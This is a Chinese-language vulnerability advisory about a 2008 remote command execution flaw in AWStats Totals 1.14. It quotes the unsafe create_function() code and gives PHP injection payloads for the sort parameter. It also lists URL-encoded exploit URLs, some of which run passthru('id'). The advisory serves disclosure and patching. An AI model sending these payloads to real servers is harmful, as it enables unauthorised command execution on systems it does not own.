安全研究

安全漏洞
AWStats Totals sort参数远程命令执行漏洞

发布日期:2008-08-26
更新日期:2008-08-27

受影响系统:
Telartis AWStats Totals 1.14
不受影响系统:
Telartis AWStats Totals 1.15
描述:
BUGTRAQ  ID: 30856

AWStats Totals是用于查看AWStats日志分析工具总数的简单PHP脚本。

AWStats Totals取了3个URL参数month、year和sort,并未经有效性检查便使用了这些参数。程序使用sort参数通过create_function()函数构建匿名的PHP函数:

> function multisort(&$array, $key) {
> $cmp = create_function('$a, $b',
> 'if ($a["'.$key.'"] == $b["'.$key.'"]) return 0;'.
> 'return ($a["'.$key.'"] > $b["'.$key.'"]) ? -1 : 1;');
> usort($array, $cmp);
> }
>
> if ($sort == 'config') sort($rows); else multisort($rows, $sort);

如果精心匹配引号和尖括号的话,就可以向函数代码中注入PHP表达式。例如,如果要运行phpinfo()函数,可以设置如下的sort值:

"].phpinfo().$a["

由于会多次运行所注入的代码,因此可以在单次调用后退出程序:

"].phpinfo().exit().$a["

还可以在较新版本PHP的字符串中使用变量扩展注入PHP表达式:

{${phpinfo()}}{${exit()}}

<*来源:Elliot Kendall (ekendall@brandeis.edu
  
  链接:http://marc.info/?l=bugtraq&m=121977666015052&w=2
        http://secunia.com/advisories/31630/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://host.tld/some/path/awstatstotals.php?sort=%22%5d%2ephpinfo%28%29%2eexit%28%29%2e%24a%5b%22
http://host.tld/some/path/awstatstotals.php?sort=%22%5d%2epassthru%28%27id%27%29%2eexit%28%29%2e%24a%5b%22
http://host.tld/some/path/awstatstotals.php?sort=%7b%24%7bphpinfo%28%29%7d%7d%7b%24%7bexit%28%29%7d%7d
http://host.tld/some/path/awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d

建议:
厂商补丁:

Telartis
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.telartis.nl/xcms/awstats/

浏览次数:3699
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障